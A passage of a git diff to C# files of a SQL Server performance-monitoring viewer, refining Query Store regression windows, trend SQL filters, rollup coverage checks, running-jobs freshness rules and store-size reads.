-        var readCost = await DarlingQueryStoreClutterReader.GetReadCostAsync(_dataSource, serverIds, startUtc, endUtc, cancellationToken);
-        var planChurn = await DarlingQueryStoreClutterReader.GetPlanChurnAsync(_dataSource, serverIds, startUtc, endUtc, cancellationToken);
-        var config = await DarlingQueryStoreClutterReader.GetConfigAsync(_dataSource, serverIds, startUtc, endUtc, cancellationToken);
+        var readCost = await DarlingQueryStoreClutterReader.GetReadCostAsync(_dataSource, serverIds, startUtc, endUtc, cancellationToken: cancellationToken);
+        var planChurn = await DarlingQueryStoreClutterReader.GetPlanChurnAsync(_dataSource, serverIds, startUtc, endUtc, cancellationToken: cancellationToken);
+        var config = await DarlingQueryStoreClutterReader.GetConfigAsync(_dataSource, serverIds, startUtc, endUtc, cancellationToken: cancellationToken);
         var waits = await DarlingQueryStoreClutterReader.GetQdsWaitsAsync(_dataSource, serverIds, startUtc, endUtc, cancellationToken);
         var clerk = await DarlingQueryStoreClutterReader.GetQueryStoreClerkAsync(_dataSource, serverId, startUtc, endUtc, cancellationToken);
 
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreRegressions.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreRegressions.cs
index 6beb5a8707..37c3b1b080 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreRegressions.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreRegressions.cs
@@ -12,6 +12,7 @@
 using System.Threading.Tasks;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -235,6 +236,27 @@ ORDER BY additional_duration_ms DESC
         LIMIT 50
         """;
 
+    /// <summary>
+    /// The start of the baseline window of the regressions read whose recent window starts at <paramref name="startUtc"/>:
+    /// <see cref="BaselineLookbackDays"/> days earlier. The read's baseline arm and the data-start probe take it from here, so
+    /// the notice keys on the same earlier window the comparison reads.
+    /// </summary>
+    public static DateTime QueryStoreRegressionsBaselineStart(DateTime startUtc) => startUtc.AddDays(-BaselineLookbackDays);
+
+    /// <summary>
+    /// Where this server's query_store_stats coverage starts for the window the regressions read compares (#4966), through the
+    /// shared probe (<see cref="DataWindowFloor"/>). The read compares a RECENT window with the baseline of the
+    /// <see cref="BaselineLookbackDays"/> days before it, so the probe asks about the EARLIER window: it starts at
+    /// <see cref="QueryStoreRegressionsBaselineStart"/>, not at <paramref name="startUtc"/>. A server added two days ago has a
+    /// recent window it covers whole and a baseline of one day instead of seven; a probe over the recent window alone would say
+    /// nothing. The read reads the raw table in both arms (no rollup route), so the probe is the raw table's. The grid ranks its top
+    /// 50 by added duration, not by time, so the rows say nothing about how far back the comparison reached and the cap rule does
+    /// not apply. Null when the window holds no row and no logged run, and when it lies wholly before the coverage.
+    /// </summary>
+    public Task<DateTime?> GetQueryStoreRegressionsDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("query_store_stats"), serverId,
+            QueryStoreRegressionsBaselineStart(startUtc), endUtc, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
     /// <summary>
     /// The Query Store regressions for one server over the RECENT window [<paramref name="startUtc"/>,
     /// <paramref name="endUtc"/>] vs. the fixed <see cref="BaselineLookbackDays"/>-day baseline ending at
@@ -250,7 +272,7 @@ public async Task<List<ViewerQueryStoreRegressionRow>> GetQueryStoreRegressionsA
         // timestamp parameter — the same reason DarlingQueryStoreRegressionReader takes it as a parameter
         // rather than computing it inside the statement (an in-statement interval costs TimescaleDB its
         // plan-time chunk exclusion).
-        var baselineStartUtc = startUtc.AddDays(-BaselineLookbackDays);
+        var baselineStartUtc = QueryStoreRegressionsBaselineStart(startUtc);
 
         await using var command = _dataSource.CreateCommand(QueryStoreRegressionsSql);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs
index 5337a7a6f0..e966e54eb6 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs
@@ -115,7 +115,7 @@ keeps its own routing (#2736, QueryStoreTrendRouting): its rollup is the correct
     /// Query-stats duration trend: elapsed ms/sec + executions/sec per BUCKET —
     /// <see cref="DurationTrendRouting.BuildBucketedRawTrendSql"/> over <c>query_stats</c> with the viewer's $4
     /// database filter (#4234; #3653 A11 before it). Until #4234 this read was the per-collection builder's
-    /// output (<see cref="DurationTrendRouting.QueryDurationTrendRawSql"/>), and a 7-day chart could hold as
+    /// output (the builder's <c>QueryDurationTrendRawSql</c>, since deleted), and a 7-day chart could hold as
     /// many rows as the window had collections — the issue's measured number for the sibling wait/perfmon
     /// charts this same fix applied to. The per-collection CTE and its three-state interval (the collection's
     /// STORED <c>sample_interval_seconds</c>, MAX over its rows, 0 → NULL so a restart pass is unrated, NULL →
@@ -145,7 +145,7 @@ keeps its own routing (#2736, QueryStoreTrendRouting): its rollup is the correct
     /// Procedure-stats duration trend: elapsed ms/sec + executions/sec per BUCKET —
     /// <see cref="DurationTrendRouting.BuildBucketedRawTrendSql"/> over <c>procedure_stats</c> with the
     /// viewer's $4 database filter (#4234). Until #4234 this read was the per-collection builder's output
-    /// (<see cref="DurationTrendRouting.ProcedureDurationTrendRawSql"/>, itself an alias since #3653); see
+    /// (the builder's <c>ProcedureDurationTrendRawSql</c>, itself an alias since #3653, since deleted); see
     /// <see cref="QueryDurationTrendSql"/> for why the read is bucketed now and what stays the same.
     ///
     /// <para>#3540 (V128): the interval is the collection's STORED one where the rows have it — <c>MAX</c>
@@ -330,7 +330,7 @@ ORDER BY point_time
     /// $1 server_id, $2 the gate's own clamp (<see cref="QueryStoreIntervalWide.ClampedStart"/>), $3/$4 window
     /// end (naive UTC; $3 binds arm 1's placement filter, $4 binds arm 2's collection-time filter — both are
     /// the caller's unclamped <c>endUtc</c>), $5 database filter.
-    /// <para><b>The <c>first_execution_time</c> floor (#4605), on both arms.</b> Neither the unique key (it leads
+    /// <para><b>The <c>first_execution_time</c> floor (#4605), on arm 2.</b> Neither the unique key (it leads
     /// with <c>server_id</c>) nor <c>idx_query_store_interval_wide_first_exec</c> serves <c>collection_time</c> or
     /// <c>interval_start_time_utc</c>, so both arms walked all of the server's rows. <c>first_execution_time</c>
     /// is a key column of that unique key, so <c>first_execution_time &gt;= $2 - </c>
@@ -338,10 +338,21 @@ ORDER BY point_time
     /// row: every stored row has
     /// <c>first_execution_time &gt; collection_time - (IntervalSpanMargin + MaxCatchup)</c>, and
     /// <see cref="QueryStoreIntervalWide.PurgeEdgeMargin"/> is that bound plus an hour (the argument is in
-    /// <see cref="QueryStoreIntervalWide.PurgeEdgeMarginSql"/>'s summary). Arm 1's rows start no earlier than $2
-    /// and hold a <c>first_execution_time</c> inside the interval, so the same margin is looser there than it needs
-    /// to be, which is harmless. A static readonly rather than a const because the interval literal is derived from
-    /// that TimeSpan; <c>$$"""</c> keeps <c>$1</c> literal.</para>
+    /// <see cref="QueryStoreIntervalWide.PurgeEdgeMarginSql"/>'s summary). Arm 2 keeps that floor.</para>
+    /// <para><b>Arm 1's range comes from the window itself (#5523).</b> Its rows are placed by
+    /// <c>interval_start_time_utc</c> in [$2, $3], and <c>first_execution_time</c> lies inside the interval (the monitored
+    /// server's clock for both), so <c>first_execution_time &gt;= $2 - </c><see cref="QueryStoreIntervalWide.IntervalStartSlackSql"/>
+    /// and <c>first_execution_time &lt;= $3 + </c><see cref="QueryStoreIntervalWide.IntervalStartFirstExecMarginSql"/>
+    /// (an interval spans at most a day, plus the hour of slack) hold for every row it returns. The floor is safe because
+    /// <c>first_execution_time</c> is an end time inside the interval: Microsoft's documentation of
+    /// <c>sys.query_store_runtime_stats.first_execution_time</c> says "First execution time for the query plan within the
+    /// aggregation interval. This is the end time of the query execution." The collector-derived
+    /// <see cref="QueryStoreIntervalWide.PurgeEdgeMarginSql"/> floor ran 26 hours below $2, so the
+    /// <c>(server_id, first_execution_time)</c> scan read a day of the server's rows more than the window holds. Arm 2 is
+    /// placed by <c>collection_time</c> in [$2, $4], so it takes the upper twin of the other table reads,
+    /// <c>first_execution_time &lt;= $4 + </c><see cref="QueryStoreIntervalWide.FirstExecUpperSlackSql"/>. A static
+    /// readonly rather than a const because the interval literal is derived from that TimeSpan; <c>$$"""</c> keeps
+    /// <c>$1</c> literal.</para>
     /// </summary>
     public static readonly string QueryStoreDurationTrendTableSql = $$"""
         WITH placed AS
@@ -356,7 +367,8 @@ FROM query_store_interval_wide
             AND   interval_start_time_utc >= $2
             AND   interval_start_time_utc <= $3
             AND   interval_start_time_utc IS NOT NULL
-            AND   first_execution_time >= $2 - {{QueryStoreIntervalWide.PurgeEdgeMarginSql}}
+            AND   first_execution_time >= $2 - {{QueryStoreIntervalWide.IntervalStartSlackSql}}
+            AND   first_execution_time <= $3 + {{QueryStoreIntervalWide.IntervalStartFirstExecMarginSql}}
             AND   ($5::text[] IS NULL OR database_name = ANY($5))
 
             UNION ALL
@@ -377,6 +389,7 @@ FROM query_store_interval_wide
             AND   collection_time <= $4
             AND   interval_start_time_utc IS NULL
             AND   first_execution_time >= $2 - {{QueryStoreIntervalWide.PurgeEdgeMarginSql}}
+            AND   first_execution_time <= $4 + {{QueryStoreIntervalWide.FirstExecUpperSlackSql}}
             AND   ($5::text[] IS NULL OR database_name = ANY($5))
         ),
         raw AS
@@ -414,13 +427,16 @@ ORDER BY point_time
     /// <c>first_collection_time</c> and <c>collection_count</c> are stated here rather than factored out for a
     /// builder of one caller. A static readonly rather than a const: the interpolated <see cref="TrendBucketSql.OriginSql"/>
     /// reference is not a compile-time constant. $1 server_id, $2/$3 window (naive UTC), $4 database filter, $5
-    /// the bucket width in minutes.</summary>
+    /// the bucket width in minutes. The database filter sits inside the aggregates (#5414 M1), as in
+    /// <see cref="DurationTrendRouting.BuildBucketedRawTrendSql"/>: a collection the chosen database had no rows in
+    /// still counts its seconds, so the rate is the true per-second rate over the bucket.</summary>
     public static readonly string ExecutionCountTrendSql = $"""
         WITH raw AS
         (
             SELECT
                 collection_time,
-                SUM(delta_execution_count) AS total_executions,
+                COALESCE(SUM(delta_execution_count) FILTER (WHERE $4::text[] IS NULL OR database_name = ANY($4)), 0) AS total_executions,
+                COUNT(*) FILTER (WHERE $4::text[] IS NULL OR database_name = ANY($4)) AS matched_rows,
                 CASE WHEN MAX(sample_interval_seconds) IS NULL
                      THEN extract(epoch FROM (date_trunc('second', collection_time) - date_trunc('second', LAG(collection_time) OVER (ORDER BY collection_time))))
                      ELSE NULLIF(MAX(sample_interval_seconds), 0)
@@ -429,7 +445,6 @@ FROM query_stats
             WHERE server_id = $1
             AND   collection_time >= $2
             AND   collection_time <= $3
-            AND   ($4::text[] IS NULL OR database_name = ANY($4))
             GROUP BY collection_time
         ),
         rated AS
@@ -438,7 +453,8 @@ rated AS
                 collection_time,
                 CASE WHEN interval_seconds > 0 THEN total_executions END AS rated_executions,
                 CASE WHEN interval_seconds > 0 THEN interval_seconds END AS rated_seconds,
-                CASE WHEN interval_seconds > 0 THEN CAST(total_executions AS DOUBLE PRECISION) / interval_seconds END AS executions_per_second
+                CASE WHEN interval_seconds > 0 THEN CAST(total_executions AS DOUBLE PRECISION) / interval_seconds END AS executions_per_second,
+                matched_rows
             FROM raw
         )
         SELECT
@@ -447,6 +463,7 @@ FROM raw
             MIN(collection_time) AS first_collection_time,
             COUNT(*) AS collection_count
         FROM rated
+        WHERE EXISTS (SELECT 1 FROM rated WHERE matched_rows > 0)
         GROUP BY 1
         ORDER BY 1
         """;
@@ -464,7 +481,8 @@ public Task<QueryTrendSeries> GetQueryDurationTrendAsync(
         DateTime? nowUtc = null, CancellationToken cancellationToken = default)
         => ReadRoutedDurationTrendAsync(
             QueryDurationTrendSql, QueryDurationTrendHourlySql, TimescaleSupport.QueryStatsHourlyView, TimescaleSupport.QueryStatsDailyView,
-            static rollups => rollups.QueryGrainHourly, serverId, startUtc, endUtc, databaseNames, nowUtc, cancellationToken);
+            static rollups => rollups.QueryGrainHourly, serverId, startUtc, endUtc, databaseNames, nowUtc,
+            coverIdleHours: false, cancellationToken);
 
     /// <summary>Procedure-stats duration trend over the window — the procedure twin of
     /// <see cref="GetQueryDurationTrendAsync"/>, routed the same way over <c>procedure_stats_hourly</c>.</summary>
@@ -473,13 +491,17 @@ public Task<QueryTrendSeries> GetProcedureDurationTrendAsync(
         DateTime? nowUtc = null, CancellationToken cancellationToken = default)
         => ReadRoutedDurationTrendAsync(
             ProcedureDurationTrendSql, ProcedureDurationTrendHourlySql, TimescaleSupport.ProcedureStatsHourlyView, TimescaleSupport.ProcedureStatsDailyView,
-            static rollups => rollups.ProcedureGrainHourly, serverId, startUtc, endUtc, databaseNames, nowUtc, cancellationToken);
+            static rollups => rollups.ProcedureGrainHourly, serverId, startUtc, endUtc, databaseNames, nowUtc,
+            coverIdleHours: true, cancellationToken);
 
     /// <summary>
     /// The shared body of the two routed reads (#3653): probe what the store has and has materialized (the
     /// viewer's cached <see cref="GetRollupAvailabilityAsync"/>), resolve the tier, run that tier's SQL, and
     /// describe what came back. One method so the query and procedure trends cannot drift in how they route,
     /// read, or describe coverage — the MCP reader's <c>ReadRoutedDurationTrendAsync</c> arrangement.
+    /// <paramref name="coverIdleHours"/> (#5449, the procedure grain) adds the hours a collector run fell in with no
+    /// raw row as zero work (<see cref="DurationTrendRouting"/>'s idle hours): the procedure collector stores no row for an hour in
+    /// which no procedure worked.
     /// <paramref name="hourlyAvailable"/> picks the GRAIN's own availability flag off the probe: a store with
     /// the query rollup but not the procedure one (a failed ensure sweep, #1664's failure isolation) must
     /// route the procedure trend to raw, whatever the query grain is doing.
@@ -490,7 +512,7 @@ public Task<QueryTrendSeries> GetProcedureDurationTrendAsync(
     private async Task<QueryTrendSeries> ReadRoutedDurationTrendAsync(
         string rawSql, string hourlySql, string hourlyView, string dailyView, Func<RollupAvailability, bool> hourlyAvailable,
         int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames, DateTime? nowUtc,
-        CancellationToken cancellationToken)
+        bool coverIdleHours, CancellationToken cancellationToken)
     {
         var (rollups, coverage) = await GetRollupAvailabilityAsync(cancellationToken);
         var tier = DurationTrendRouting.ResolveTier(
@@ -518,7 +540,7 @@ slots in exactly where the legacy/successor name used to. */
             points = await ReadDurationTrendAsync(
                 string.Equals(hourlyFromClause, $"collect.{hourlyView} AS f", StringComparison.Ordinal)
                     ? hourlySql
-                    : DurationTrendRouting.BuildHourlyTrendSql(hourlyFromClause, withDatabaseFilter: true),
+                    : DurationTrendRouting.BuildHourlyTrendSql(hourlyFromClause, withDatabaseFilter: true, coverIdleHours),
                 serverId, startUtc, endUtc, databaseNames, cancellationToken);
             firstServedUtc = points.Count > 0 ? points[0].CollectionTime : null;
         }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.RollupAvailability.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.RollupAvailability.cs
index e0913a9540..e611872508 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.RollupAvailability.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.RollupAvailability.cs
@@ -7,8 +7,10 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.Threading;
 using System.Threading.Tasks;
+using Npgsql;
 using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
@@ -72,4 +74,78 @@ public sealed partial class ViewerDataService
         _rollupProbeAtUtc = DateTime.UtcNow;
         return (_rollups, _rollupCoverage);
     }
+
+    /// <summary>
+    /// #5329: whether the hourly route for a window starting at <paramref name="startUtc"/> can read the io hourly
+    /// rollup <paramref name="ioView"/> (<c>query_stats_io_hourly</c> / <c>procedure_stats_io_hourly</c>), the
+    /// siblings that also keep logical reads, physical reads and logical writes. True only when the store HAS the
+    /// view and its first materialized bucket is at or before the window's start: a view that starts later (a
+    /// store whose ensure sweep built it recently and has not been backfilled) would leave the early part of the
+    /// window out and show a reads total that is too small, so then the route stays on the interval rollup and
+    /// its blank reads columns. An absent or empty view is the same answer, with no error.
+    /// </summary>
+    internal static bool IoHourlyCoversWindow(
+        RollupAvailability rollups, RollupCoverage coverage, string ioView, DateTime startUtc)
+        => rollups.Has(ioView) && coverage.FloorOf(ioView) is { } floor && floor <= startUtc;
+
+    /// <summary>
+    /// #5329: the SQL the hourly arms append for the materialization ceiling: <c>AND bucket &lt; $6</c> when the relation
+    /// that answers the window's end has a measured ceiling (<see cref="RollupCoverage.HourlyEndCeiling"/>, the one rule
+    /// the service's MCP reads bind too), the empty string when it has none (a null ceiling means no bound). A bucket at
+    /// or after the ceiling is never read, so "nothing after the ceiling was read" holds by construction.
+    /// </summary>
+    internal static string HourlyCeilingSql(DateTime? ceiling) => ceiling is null ? "" : "\n        AND   bucket < $6";
+
+    /// <summary>Binds the ceiling <see cref="HourlyCeilingSql"/> names, as a naive UTC instant, when there is one.</summary>
+    internal static void AddHourlyCeilingParameter(NpgsqlCommand command, DateTime? ceiling)
+    {
+        if (ceiling is not null)
+        {
+            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(ceiling.Value, DateTimeKind.Unspecified) });
+        }
+    }
+
+    /// <summary>
+    /// #5329: the window's real edges for an hourly-routed grid, in the words the MCP tools use
+    /// (<see cref="HourlyWindowEdges.Note"/>, the text <c>get_top_queries_by_cpu</c> and <c>get_top_procedures_by_cpu</c>
+    /// put in their precision note). <paramref name="firstBucket"/> is the first rollup bucket THIS SERVER holds inside the
+    /// window, the answer of <see cref="RollupCoverage.GetHourlyFirstBucketAsync"/> (the one probe the service's tools run
+    /// too), so a server added after the store's oldest one names its own start and not the store's. Null when the server
+    /// holds no bucket in the window.
+    /// </summary>
+    internal static string? HourlyEdgesNote(DateTime startUtc, DateTime endUtc, DateTime? firstBucket, DateTime? ceiling)
+    {
+        var note = HourlyWindowEdges.Note(startUtc, firstBucket, endUtc, ceiling);
+        return string.IsNullOrEmpty(note) ? null : note;
+    }
+
+    /// <summary>#5329: awaits a probe task whose answer is no longer wanted (the grid read beside it threw) so its fault is
+    /// observed here and never reaches <c>App.OnUnobservedTaskException</c> as a second error for one failure. The twin of
+    /// <c>DarlingDataReader.ObserveAsync</c>; the grid read's own exception is the one that propagates.</summary>
+    internal static async Task ObserveAsync(Task task)
+    {
+        try { await task; }
+        catch (Exception) { /* the grid read's own exception is the one that propagates. */ }
+    }
+
+    /// <summary>
+    /// #4957: measures each rollup's coverage floor in the background shortly after the Viewer opens its store, so
+    /// the first routed read (Overview, Queries, FinOps and the rest all go through
+    /// <see cref="GetRollupAvailabilityAsync"/>) does not wait on the cold <c>min(bucket)</c> sort of each rollup's
+    /// oldest compressed chunk. The Viewer is its own process, so the service's warm does not reach it. Fire and
+    /// forget: <see cref="RollupCoverageWarmup.RunDelayedAsync"/> never throws, and a failed warm changes nothing
+    /// here (this method does not touch the Viewer's own cached availability answer).
+    /// </summary>
+    internal Task WarmRollupCoverageAsync(CancellationToken cancellationToken = default)
+        => RollupCoverageWarmup.RunDelayedAsync(_dataSource, logger: null, RollupCoverageWarmup.ViewerStartDelay, cancellationToken);
 }
+
+/// <summary>
+/// #5329: a routed Top Queries / Top Procedures read: the rows, the tier that answered ("raw" or "hourly"), and, for an
+/// hourly read only, the window's real edges (<c>ViewerDataService.HourlyEdgesNote</c>: the text the MCP tools put in
+/// their precision note, null when no edge moved), whether the rows came from the io rollup (which keeps reads and
+/// writes, so the banner must not call them blank) and the first bucket this server holds in the window (the start the
+/// grid really covers).
+/// </summary>
+public sealed record ViewerRoutedRead<TRow>(
+    List<TRow> Rows, string Tier, string? HourlyEdgesNote, bool IoRoute = false, DateTime? HourlyFirstBucket = null);
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.RunningJobs.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.RunningJobs.cs
index e8951d4834..7cc5ed3214 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.RunningJobs.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.RunningJobs.cs
@@ -23,7 +23,21 @@ public sealed partial class ViewerDataService
     /// <c>collection_time = MAX(...)</c> self-subquery), ordered by current duration descending. All the
     /// derived columns (avg/p95/percent-of-average/is-running-long) are collector-side, so the read is
     /// a plain projection.
-    /// $1 server_id.
+    ///
+    /// <para>The snapshot counts only while it is the collector's CURRENT answer. The collector writes no row when no job
+    /// is running, so the newest <c>running_jobs</c> row can be weeks old, and the tab then listed a job that ended long
+    /// ago as running now. The collector's latest SUCCESSFUL run (<c>collection_log</c>, which records a SUCCESS with
+    /// zero rows for a run that found nothing) decides: a run that stored rows means the newest snapshot is that run's;
+    /// a run that stored none means nothing is running, unless a snapshot newer than that log row exists (the Darling
+    /// service stamps the log row when the run ends, after its rows are stored). A server with no such log row keeps the
+    /// newest snapshot. The same text as the MCP tool's <c>DarlingJobReader.RunningJobsSql</c> and Lite's
+    /// <c>GetRunningJobsAsync</c>.</para>
+    ///
+    /// <para>The snapshot must also be recent: <c>collection_time &gt;= $2</c> is the alert read's #1812 bound
+    /// (<see cref="PerformanceMonitor.Alerting.RunningJobsCurrency.Cutoff"/>, three missed cycles at the effective running_jobs cadence).
+    /// A server that went offline while a job ran (only failed runs after it), a lost msdb login or a collector switched off
+    /// otherwise left the job reading as running for days.</para>
+    /// $1 server_id, $2 the oldest collection time still current (naive UTC).
     /// </summary>
     public const string RunningJobsSql = """
         SELECT
@@ -45,6 +59,34 @@ SELECT MAX(collection_time)
             FROM v_running_jobs
             WHERE server_id = $1
         )
+        AND   collection_time >= $2
+        AND   (
+            NOT EXISTS
+            (
+                SELECT 1
+                FROM collection_log
+                WHERE server_id = $1
+                AND   collector_name = 'running_jobs'
+                AND   status = 'SUCCESS'
+            )
+            OR EXISTS
+            (
+                SELECT 1
+                FROM
+                (
+                    SELECT collection_time, rows_collected
+                    FROM collection_log
+                    WHERE server_id = $1
+                    AND   collector_name = 'running_jobs'
+                    AND   status = 'SUCCESS'
+                    ORDER BY collection_time DESC
+                    LIMIT 1
+                ) AS last_run
+                WHERE last_run.rows_collected IS NULL
+                OR    last_run.rows_collected > 0
+                OR    v_running_jobs.collection_time > last_run.collection_time
+            )
+        )
         ORDER BY current_duration_seconds DESC
         """;
 
@@ -67,14 +109,65 @@ ORDER BY collection_time DESC
         LIMIT 1
         """;
 
-    /// <summary>The latest snapshot of running jobs for one server (latest collection_time only).</summary>
+    /// <summary>The newest collection time for the running_jobs collector: its latest SUCCESS run (a run that found nothing logs
+    /// SUCCESS with zero rows) or its newest snapshot, whichever is later. The same text as the MCP tool's
+    /// <c>DarlingJobReader.RunningJobsLastGoodCollectionSql</c>. $1 server_id.</summary>
+    public const string RunningJobsLastGoodCollectionSql = """
+        SELECT MAX(t)
+        FROM
+        (
+            SELECT MAX(collection_time) AS t
+            FROM collection_log
+            WHERE server_id = $1
+            AND   collector_name = 'running_jobs'
+            AND   status = 'SUCCESS'
+            UNION ALL
+            SELECT MAX(collection_time)
+            FROM v_running_jobs
+            WHERE server_id = $1
+        ) AS x
+        """;
+
+    /// <summary>The latest snapshot of running jobs for one server (latest collection_time only), while it is current.</summary>
     public async Task<List<RunningJobRow>> GetRunningJobsAsync(int serverId, CancellationToken cancellationToken = default)
+        => (await ReadRunningJobsAsync(serverId, cancellationToken)).Jobs;
+
+    /// <summary>
+    /// <see cref="GetRunningJobsAsync"/> with the not-current verdict: when no job is listed because the collector's last good
+    /// collection is older than the freshness bound (the alert read's #1812 rule at this server's effective running_jobs cadence,
+    /// the per-server override, else the fleet one, else the shipped default), <see cref="RunningJobsRead.LastGoodCollection"/>
+    /// carries its time. A schedule read that fails leaves the shipped cadence.
+    /// </summary>
+    public async Task<RunningJobsRead> ReadRunningJobsAsync(int serverId, CancellationToken cancellationToken = default)
+    {
+        var overrides = await ReadScheduleOverridesForHealthAsync(cancellationToken);
+        var cadence = CollectorScheduleDefaults.ResolveEffectiveIntervalMinutes("running_jobs", serverId, overrides) ?? 5;
+        var cutoff = DateTime.SpecifyKind(PerformanceMonitor.Alerting.RunningJobsCurrency.Cutoff(DateTime.UtcNow, cadence), DateTimeKind.Unspecified);
+        var items = await ReadRunningJobRowsAsync(serverId, cutoff, cancellationToken);
+        if (items.Count > 0)
+        {
+            return new RunningJobsRead(items, null);
+        }
+
+        /* Nothing listed: it reads as "not current" only when the collector's last good collection is older than the bound. A healthy
+           collector that found no job logs a recent SUCCESS, so this stays null for it. The rows read is finished (its command and
+           connection released) before this one opens, so one call holds one connection. */
+        await using var lastGood = _dataSource.CreateCommand(RunningJobsLastGoodCollectionSql);
+        lastGood.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+        lastGood.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        var last = await lastGood.ExecuteScalarAsync(cancellationToken);
+        DateTime? lastGoodTime = last is DateTime t ? DateTime.SpecifyKind(t, DateTimeKind.Utc) : null;
+        return new RunningJobsRead(items, PerformanceMonitor.Alerting.RunningJobsCurrency.NotCurrentSince(lastGoodTime, cutoff));
+    }
+
+    private async Task<List<RunningJobRow>> ReadRunningJobRowsAsync(int serverId, DateTime cutoff, CancellationToken cancellationToken)
     {
         var items = new List<RunningJobRow>();
 
         await using var command = _dataSource.CreateCommand(RunningJobsSql);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = cutoff });
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -204,6 +297,9 @@ public class RunningJobRow
 
     public string StartTimeLocal => ViewerDataService.FormatServerClock(StartTime);
 
+    /// <summary><see cref="CollectionTime"/> (naive UTC) in the display zone, to the second; the "Collected" column sorts by <see cref="CollectionTime"/>.</summary>
+    public string CollectionTimeLocal => HistoryTime.CollectionLocal(CollectionTime);
+
     public string CurrentDurationFormatted => FormatDuration(CurrentDurationSeconds);
     public string AvgDurationFormatted => FormatDuration(AvgDurationSeconds);
     public string P95DurationFormatted => FormatDuration(P95DurationSeconds);
@@ -221,3 +317,7 @@ private static string FormatDuration(long seconds)
         return $"{seconds / 3600}h {(seconds % 3600) / 60}m";
     }
 }
+
+/// <summary>The running jobs, and the time of the collector's last good collection when no job is listed because that is older
+/// than the freshness bound (null otherwise). See <see cref="ViewerDataService.ReadRunningJobsAsync"/>.</summary>
+public sealed record RunningJobsRead(List<RunningJobRow> Jobs, DateTime? LastGoodCollection);
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ServerStatus.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ServerStatus.cs
index 2e5929eac3..828f046138 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ServerStatus.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ServerStatus.cs
@@ -12,6 +12,7 @@
 using System.Threading.Tasks;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -56,23 +57,27 @@ LIMIT 1
 ) AS latest
 WHERE s.server_id <> 0";
 
-    /// <summary>The store's on-disk size in bytes (status-bar Database field). No parameters.
+    /// <summary>The store's on-disk size in bytes, measured live. No parameters.
     ///
     /// <para><c>pg_database_size</c> walks every file in the database directory, so its cost scales with the
     /// store rather than with the one number it returns (#4477 measured 468 ms mean / 1.96 s worst-case on a
-    /// production store, called on every status-bar refresh — 9 calls in one 4.5-minute session). See
-    /// <see cref="StoreSizeCacheLifetime"/> for why the fix here is a cache rather than a cheaper query.</para>
+    /// production store; walk finding D15 measured a mean of 4.4 s, worst 39.9 s, on a large one). The status-bar
+    /// Database field therefore reads the size the service records on its self-metrics sweep first
+    /// (<see cref="StoreSelfMetrics.LatestStoreSizeSql"/>) and runs this live walk only when no size is recorded, or
+    /// the recorded read fails (#5555). See <see cref="StoreSizeCacheLifetime"/>.</para>
     /// </summary>
     public const string StoreSizeSql = "SELECT pg_database_size(current_database())";
 
-    /// <summary>How long <see cref="GetStoreSizeBytesAsync"/> serves its cached reading before it re-runs
-    /// <see cref="StoreSizeSql"/> (#4477). Five minutes, not the refresh timer's own 10-600 s
-    /// <c>NocRefreshIntervalSeconds</c>: the status-bar field is a coarse operator signal ("about how big is
-    /// the store"), never a threshold or a stored numeric value, and a store's on-disk size does not move
-    /// enough within five minutes for the field to read stale to a human glancing at it — the same order of
-    /// staleness <see cref="StoreSelfMetrics.LatestStoreSizeSql"/> already accepts for the service's own
-    /// disk-pressure check (mean ~59 min between sweeps there). Five minutes keeps this field visibly fresher
-    /// than that self-metrics row while cutting the read from every refresh tick to at most one per window.</summary>
+    /// <summary>How long <see cref="GetStoreSizeBytesAsync"/> serves its cached reading before it reads again (#4477).
+    /// Five minutes, not the refresh timer's own 10-600 s <c>NocRefreshIntervalSeconds</c>: the status-bar field is a
+    /// coarse operator signal ("about how big is the store"), never a threshold or a stored numeric value.
+    ///
